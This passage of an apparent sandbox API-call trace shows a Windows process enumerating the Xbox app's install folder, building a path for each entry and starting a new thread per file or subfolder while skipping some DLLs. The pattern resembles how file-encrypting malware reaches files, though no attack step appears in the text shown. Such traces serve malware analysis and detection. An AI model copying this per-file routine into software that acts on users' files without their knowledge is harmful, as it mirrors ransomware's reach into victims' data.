	[0089.992] FindNextFileW (in: hFindFile=0x46a7b58, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4b15022, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x4b15022, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4b15022, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0089.992] FindClose (in: hFindFile=0x46a7b58 | out: hFindFile=0x46a7b58) returned 1
	[0089.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0089.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8860) returned 1
	[0089.993] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d9b8) returned 1

Thread:
	id = 1050
	os_tid = 0x1cd8

	[0082.712] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5d148
	[0082.712] wcscpy (in: _Dest=0x2d5d148, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0082.712] wcscat (in: _Dest=0x2d5d148, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0082.712] wcscat (in: _Dest=0x2d5d148, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\*"
	[0082.712] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50300a0
	[0082.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7242c4d5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4b15022, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4b15022, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7b98
	[0082.713] wcscmp (_String1=".", _String2=".") returned 0
	[0082.713] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7242c4d5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4b15022, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4b15022, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.713] wcscmp (_String1="..", _String2=".") returned 1
	[0082.713] wcscmp (_String1="..", _String2="..") returned 0
	[0082.713] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72452733, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72452733, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72452733, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1525e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.713] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.713] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.713] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718760
	[0082.713] wcscpy (in: _Dest=0x4718760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0082.713] wcscat (in: _Dest=0x4718760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0082.713] wcscat (in: _Dest=0x4718760, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4718760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1664
	[0089.971] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242c4d5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7242c4d5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7242c4d5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4a69, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.971] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.971] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47ea3a0
	[0089.971] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.971] wcscat (in: _Dest=0x47ea3a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.971] wcscat (in: _Dest=0x47ea3a0, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c0
	[0089.972] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7247898c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb414678b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7247898c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.972] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.972] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4925e78
	[0089.972] wcscpy (in: _Dest=0x4925e78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.972] wcscat (in: _Dest=0x4925e78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.972] wcscat (in: _Dest=0x4925e78, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0089.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4925e78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c4
	[0089.972] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72452733, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7247898c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7247898c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.973] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.973] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.973] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47ea200
	[0089.973] wcscpy (in: _Dest=0x47ea200, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.973] wcscat (in: _Dest=0x47ea200, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.973] wcscat (in: _Dest=0x47ea200, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c8
	[0089.973] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x725a9c6e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4260cb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x72abd1b0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0089.973] wcscmp (_String1="Assets", _String2=".") returned 1
	[0089.973] wcscmp (_String1="Assets", _String2="..") returned 1
	[0089.973] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481b898
	[0089.973] wcscpy (in: _Dest=0x481b898, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.974] wcscat (in: _Dest=0x481b898, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.974] wcscat (in: _Dest=0x481b898, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Assets"
	[0089.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x481b898, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20cc
	[0089.974] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae340e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72b55b1e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72b55b1e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x339000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Avatars.dll", cAlternateFileName="")) returned 1
	[0089.974] wcscmp (_String1="Avatars.dll", _String2=".") returned 1
	[0089.974] wcscmp (_String1="Avatars.dll", _String2="..") returned 1
	[0089.974] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b55b1e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72b55b1e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72b55b1e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Avatars.winmd", cAlternateFileName="")) returned 1
	[0089.974] wcscmp (_String1="Avatars.winmd", _String2=".") returned 1
	[0089.974] wcscmp (_String1="Avatars.winmd", _String2="..") returned 1
	[0089.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925900
	[0089.974] wcscpy (in: _Dest=0x4925900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.974] wcscat (in: _Dest=0x4925900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.974] wcscat (in: _Dest=0x4925900, _Source="Avatars.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Avatars.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\Avatars.winmd"
	[0089.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4925900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d0
	[0089.975] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b55b1e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72b55b1e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72b55b1e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="BuildInfo.xml", cAlternateFileName="")) returned 1
	[0089.975] wcscmp (_String1="BuildInfo.xml", _String2=".") returned 1
	[0089.975] wcscmp (_String1="BuildInfo.xml", _String2="..") returned 1
	[0089.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925130
	[0089.975] wcscpy (in: _Dest=0x4925130, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.975] wcscat (in: _Dest=0x4925130, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.975] wcscat (in: _Dest=0x4925130, _Source="BuildInfo.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\BuildInfo.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\BuildInfo.xml"
	[0089.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4925130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d4
	[0089.976] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b7bd81, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72ba1fd5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72ba1fd5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0089.976] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0089.976] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0089.976] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba1fd5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72ba1fd5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72ba1fd5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FacebookDialog.xbf", cAlternateFileName="")) returned 1
	[0089.976] wcscmp (_String1="FacebookDialog.xbf", _String2=".") returned 1
	[0089.976] wcscmp (_String1="FacebookDialog.xbf", _String2="..") returned 1
	[0089.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e96a0
	[0089.976] wcscpy (in: _Dest=0x47e96a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.976] wcscat (in: _Dest=0x47e96a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.976] wcscat (in: _Dest=0x47e96a0, _Source="FacebookDialog.xbf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\FacebookDialog.xbf") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\FacebookDialog.xbf"
	[0089.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e96a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d8
	[0089.977] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba1fd5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72ba1fd5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72ba1fd5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FacebookLoginButton.xbf", cAlternateFileName="")) returned 1
	[0089.977] wcscmp (_String1="FacebookLoginButton.xbf", _String2=".") returned 1
	[0089.977] wcscmp (_String1="FacebookLoginButton.xbf", _String2="..") returned 1
	[0089.977] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477ce78
	[0089.977] wcscpy (in: _Dest=0x477ce78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.977] wcscat (in: _Dest=0x477ce78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.977] wcscat (in: _Dest=0x477ce78, _Source="FacebookLoginButton.xbf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\FacebookLoginButton.xbf") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\FacebookLoginButton.xbf"
	[0089.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ce78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20dc
	[0089.978] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba1fd5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72ba1fd5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72ba1fd5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FacebookProfilePictureControl.xbf", cAlternateFileName="")) returned 1
	[0089.978] wcscmp (_String1="FacebookProfilePictureControl.xbf", _String2=".") returned 1
	[0089.978] wcscmp (_String1="FacebookProfilePictureControl.xbf", _String2="..") returned 1
	[0089.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ec428
	[0089.978] wcscpy (in: _Dest=0x47ec428, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.978] wcscat (in: _Dest=0x47ec428, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
	[0089.978] wcscat (in: _Dest=0x47ec428, _Source="FacebookProfilePictureControl.xbf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\FacebookProfilePictureControl.xbf") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\FacebookProfilePictureControl.xbf"
	[0089.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ec428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e0
	[0089.978] FindNextFileW (in: hFindFile=0x46a7b98, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba1fd5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x72ba1fd5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x72ba1fd5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x102c, dwReserved0=0x0, dwReserved1=0x0, cFileName="fb_blank_profile_portrait.png", cAlternateFileName="")) returned 1
	[0089.978] wcscmp (_String1="fb_blank_profile_portrait.png", _String2=".") returned 1
	[0089.978] wcscmp (_String1="fb_blank_profile_portrait.png", _String2="..") returned 1
	[0089.978] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e326e0
	[0089.978] wcscpy (in: _Dest=0x4e326e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe"
	[0089.978] wcscat (in: _Dest=0x4e326e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\\"
